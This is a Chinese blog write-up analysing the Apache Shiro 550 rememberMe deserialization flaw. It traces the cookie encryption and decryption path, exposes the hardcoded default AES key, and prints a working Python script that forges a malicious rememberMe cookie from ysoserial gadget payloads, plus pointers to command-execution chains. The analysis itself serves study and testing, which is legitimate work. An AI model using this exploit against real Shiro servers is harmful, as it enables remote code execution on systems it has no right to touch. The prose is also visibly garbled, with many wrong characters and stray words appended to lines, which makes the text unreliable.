首发自安全客:Java安全之Shiro 550反序列化漏洞分析html
在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是Shiro的该漏洞也是用的比较频繁的漏洞。本文对该Shiro550 反序列化漏洞进行一个分析,了解漏洞产生过程以及利用方式。java
Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,产生缘由是由于shiro接受了Cookie里面rememberMe
的值,而后去进行Base64解密后,再使用aes密钥解密后的数据,进行反序列化。python
反过来思考一下,若是咱们构造该值为一个cc链序列化后的值进行该密钥aes加密后进行base64加密,那么这时候就会去进行反序列化咱们的payload内容,这时候就能够达到一个命令执行的效果。git
获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操做
漏洞环境:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4github
打开shiro/web目录,对pom.xml进行配置依赖配置一个cc4和jstl组件进来,后面再去说为何shiro自带了commons-collections:3.2.1
还要去手工配置一个commons-collections:4.0
。web
<properties> <maven.compiler.source>1.6</maven.compiler.source> <maven.compiler.target>1.6</maven.compiler.target> </properties> ... <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <!-- 这里须要将jstl设置为1.2 --> <version>1.2</version> <scope>runtime</scope> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
Shiro的编译太痛苦了,各类坑,下面来排一下坑。算法
配置maven\conf\toolchains.xml
,这里须要指定JDK1.6的路径和版本,编译必需要1.6版本,但不影响在其余版本下运行。express
<?xml version="1.0" encoding="UTF-8"?> <toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd"> <toolchain> <type>jdk</type> <provides> <version>1.6</version> <vendor>sun</vendor> </provides> <configuration> <jdkHome>D:\JAVA_JDK\jdk1.6</jdkHome> </configuration> </toolchain> </toolchains>
这些都完成后进行编译。apache
Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure
这里仍是报错了。api
后面编译的时候,切换成了maven3.1.1的版本。而后就能够编译成功了。
可是后面又发现部署的时候访问不到,编译确定又出了问题。
后面把这两个里面的<scope>
标签给注释掉,而后就能够了。
把pom.xml配置贴一下。
<?xml version="1.0" encoding="UTF-8"?> <!-- ~ Licensed to the Apache Software Foundation (ASF) under one ~ or more contributor license agreements. See the NOTICE file ~ distributed with this work for additional information ~ regarding copyright ownership. The ASF licenses this file ~ to you under the Apache License, Version 2.0 (the ~ "License"); you may not use this file except in compliance ~ with the License. You may obtain a copy of the License at ~ ~ http://www.apache.org/licenses/LICENSE-2.0 ~ ~ Unless required by applicable law or agreed to in writing, ~ software distributed under the License is distributed on an ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY ~ KIND, either express or implied. See the License for the ~ specific language governing permissions and limitations ~ under the License. --> <!--suppress osmorcNonOsgiMavenDependency --> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <properties> <maven.compiler.source>1.6</maven.compiler.source> <maven.compiler.target>1.6</maven.compiler.target> </properties> <parent> <groupId>org.apache.shiro.samples</groupId> <artifactId>shiro-samples</artifactId> <version>1.2.4</version> <relativePath>../pom.xml</relativePath> </parent> <modelVersion>4.0.0</modelVersion> <artifactId>samples-web</artifactId> <name>Apache Shiro :: Samples :: Web</name> <packaging>war</packaging> <build> <plugins> <plugin> <artifactId>maven-surefire-plugin</artifactId> <configuration> <forkMode>never</forkMode> </configuration> </plugin> <plugin> <groupId>org.mortbay.jetty</groupId> <artifactId>maven-jetty-plugin</artifactId> <version>${jetty.version}</version> <configuration> <contextPath>/</contextPath> <connectors> <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector"> <port>9080</port> <maxIdleTime>60000</maxIdleTime> </connector> </connectors> <requestLog implementation="org.mortbay.jetty.NCSARequestLog"> <filename>./target/yyyy_mm_dd.request.log</filename> <retainDays>90</retainDays> <append>true</append> <extended>false</extended> <logTimeZone>GMT</logTimeZone> </requestLog> </configuration> </plugin> </plugins> </build> <dependencies> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>servlet-api</artifactId> <!-- <scope>provided</scope>--> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-log4j12</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>net.sourceforge.htmlunit</groupId> <artifactId>htmlunit</artifactId> <version>2.6</version> <!-- <scope>test</scope>--> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> </dependency> <dependency> <groupId>org.mortbay.jetty</groupId> <artifactId>jetty</artifactId> <version>${jetty.version}</version> <scope>test</scope> </dependency> <dependency> <groupId>org.mortbay.jetty</groupId> <artifactId>jsp-2.1-jetty</artifactId> <version>${jetty.version}</version> <scope>test</scope> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>jcl-over-slf4j</artifactId> <scope>runtime</scope> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <!-- 这里须要将jstl设置为1.2 --> <version>1.2</version> <scope>runtime</scope> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies> </project>
通过2天的排坑,终于把这个坑给解决掉,这里必须贴几张照片庆祝庆祝。
输入帐号密码,勾选Remerber me选项。进行抓包
下面就能够来分析该漏洞了。
漏洞产生点在CookieRememberMeManager
该位置,来看到rememberSerializedIdentity
方法。
该方法的做用为使用Base64对指定的序列化字节数组进行编码,并将Base64编码的字符串设置为cookie值。
那么咱们就去查看一下该方法在什么地方被调用。
在这能够看到该类继承的AbstractRememberMeManager
类调用了该方法。跟进进去查看
发现这个方法被rememberIdentity
方法给调用了,一样方式继续跟进。
在这里会发现rememberIdentity
方法会被onSuccessfulLogin
方法给调用,跟踪到这一步,就看到了onSuccessfulLogin
登陆成功的方法。
当登陆成功后会调用AbstractRememberMeManager.onSuccessfulLogin
方法,该方法主要实现了生成加密的RememberMe Cookie
,而后将RememberMe Cookie
设置为用户的Cookie值。在前面咱们分析的rememberSerializedIdentity
方法里面去实现了。能够来看一下这段代码。
回到onSuccessfulLogin
这个地方,打个断点,而后web登陆页面输入root/secret 口令进行提交,再回到IDEA中查看。找到登陆成功方法后,咱们能够来正向去作个分析,否则刚刚的方式比较麻烦。
这里看到调用了isRememberMe
很显而易见得发现这个就是一个判断用户是否选择了Remember Me
选项。
若是选择Remember Me
功能的话返回true,若是不选择该选项则是调用log.debug方法在控制台输出一段字符。
这里若是为true的话就会调用rememberIdentity
方法而且传入三个参数。F7跟进该方法。
前面说过该方法会去生成一个PrincipalCollection
对象,里面包含登陆信息。F7进行跟进rememberIdentity
方法。
查看convertPrincipalsToBytes
具体的实现与做用。
跟进该方法查看具体实现。
看到这里其实已经很清晰了,进行了一个序列化,而后返回序列化后的Byte数组。
再来看到下一段代码,这里若是getCipherService
方法不为空的话,就会去执行下一段代码。getCipherService
方法是获取加密模式。
仍是继续跟进查看。
查看调用,会发如今构造方法里面对该值进行定义。
完成这一步后,就来到了这里。
调用encrypt
方法,对序列化后的数据进行处理。继续跟进。
这里调用cipherService.encrypt
方法而且传入序列化数据,和getEncryptionCipherKey
方法。
getEncryptionCipherKey
从名字上来看是获取密钥的方法,查看一下,是怎么获取密钥的。
查看调用的时候,发现setCipherKey
方法在构造方法里面被调用了。
查看DEFAULT_CIPHER_KEY_BYTES
值会发现里面定义了一串密钥
而这个密钥是定义死的。
返回刚刚的加密的地方。
这个地方选择跟进,查看具体实现。
查看到这里发现会传入前面序列化的数组和key值,最后再去调用他的重载方法而且传入序列化数组、key、ivBytes值、generate。
iv的值由generateInitializationVector
方法生成,进行跟进。
查看getDefaultSecureRandom
方法实现。
返回generateInitializationVector
方法继续查看。这个new了一个byte数组长度为16
最后获得这个ivBytes值进行返回。
这里执行完成后就拿到了ivBytes的值了,这里再回到加密方法的地方查看具体加密的实现。
这里调用crypt方法进行获取到加密后的数据,而这个output是一个byte数组,大小是加密后数据的长度加上iv这个值的长度。
不了解加密算法的能够看Java安全之安全加密算法
在执行完成后序列化的数据已经被进行了AES加密,返回一个byte数组。
执行完成后,来到这一步,而后进行跟进。
到了这里其实就没啥好说的了。后面的步骤就是进行base64加密后设置为用户的Cookie的rememberMe字段中。
因为咱们并不知道哪一个方法里面去实现这么一个功能。可是咱们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt
进行加密,该类中也有对应的解密操做。那么在这里就能够来查看该方法具体会在哪里被调用到,就能够追溯到上层去,而后进行下断点。
查看 getRememberedPrincipals
方法在此处下断点
跟踪
返回getRememberedPrincipals
方法。
在下面调用了convertBytesToPrincipals
方法,进行跟踪。
查看decrypt
方法具体实现。
和前面的加密步骤相似,这里不作详细讲解。
生成iv值,而后传入到他的重载方法里面。
到了这里执行完后,就进行了AES的解密完成。
仍是回到这一步。
这里返回了deserialize
方法的返回值,而且传入AES加密后的数据。
进行跟踪该方法。
继续跟踪。
到了这步,就会对咱们传入进来的AES解密后的数据进行调用readObject
方法进行反序列化操做。
如今已经知道了是由于获取rememberMe值,而后进行解密后再进行反序列化操做。
那么在这里若是拿到了密钥就能够伪造加密流程。
网上找的一个加密的脚本
# -*-* coding:utf-8 # @Time : 2020/10/16 17:36 # @Author : nice0e3 # @FileName: poc.py # @Software: PyCharm # @Blog :https://www.cnblogs.com/nice0e3/ import base64 import uuid import subprocess from Crypto.Cipher import AES def rememberme(command): # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE) popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command], stdout=subprocess.PIPE) # popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': # payload = encode_rememberme('127.0.0.1:12345') # payload = rememberme('calc.exe') payload = rememberme('http://u89cy6.dnslog.cn') with open("./payload.cookie", "w") as fpw: print("rememberMe={}".format(payload.decode())) res = "rememberMe={}".format(payload.decode()) fpw.write(res)
获取到值后加密后的payload后能够在burp上面进行手工发送测试一下。
发送完成后,就能够看到DNSLOG平台上面回显了。
当使用URLDNS链的打过去,在DNSLOG平台有回显的时候,就说明这个地方存在反序列化漏洞。
可是要利用的话还得是使用CC链等利用链去进行命令的执行。
前面咱们手动给shio配上cc4的组件,而shiro中自带的是cc3.2.1版本的组件,为何要手工去配置呢?
其实shiro中重写了ObjectInputStream
类的resolveClass
函数,ObjectInputStream
的resolveClass
方法用的是Class.forName
类获取当前描述器所指代的类的Class对象。而重写后的resolveClass
方法,采用的是ClassUtils.forName
。查看该方法
public static Class forName(String fqcn) throws UnknownClassException { Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn); if (clazz == null) { if (log.isTraceEnabled()) { log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader..."); } clazz = CLASS_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { if (log.isTraceEnabled()) { log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader..."); } clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found."; throw new UnknownClassException(msg); } else { return clazz; } }
在传参的地方若是传入一个Transform
数组的参数,会报错。
后者并不支持传入数组类型。
resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class
那么在这里可使用cc2和cc4的利用链去进行命令执行,由于这两个都是基于javassist去实现的,而不是基于Transform
数组。具体的能够看前面个人分析利用链文章。
除了这两个其实在部署的时候,能够发现组件当中自带了一个CommonsBeanutils的组件,这个组件也是有利用链的。可使用CommonsBeanutils这条利用链进行命令执行。
那么除了这些方式就没有了嘛?假设没有cc4的组件,就必定执行不了命令了嘛?其实方式仍是有的。wh1t3p1g师傅在文章中已经给出了解决方案。须要从新去特殊构造一下利用链。
https://www.anquanke.com/post/id/192619#h2-4 https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A
在该漏洞中我以为主要的难点在于环境搭建上费了很多时间,还有的就是关于shiro中大部分利用链无法使用的解决。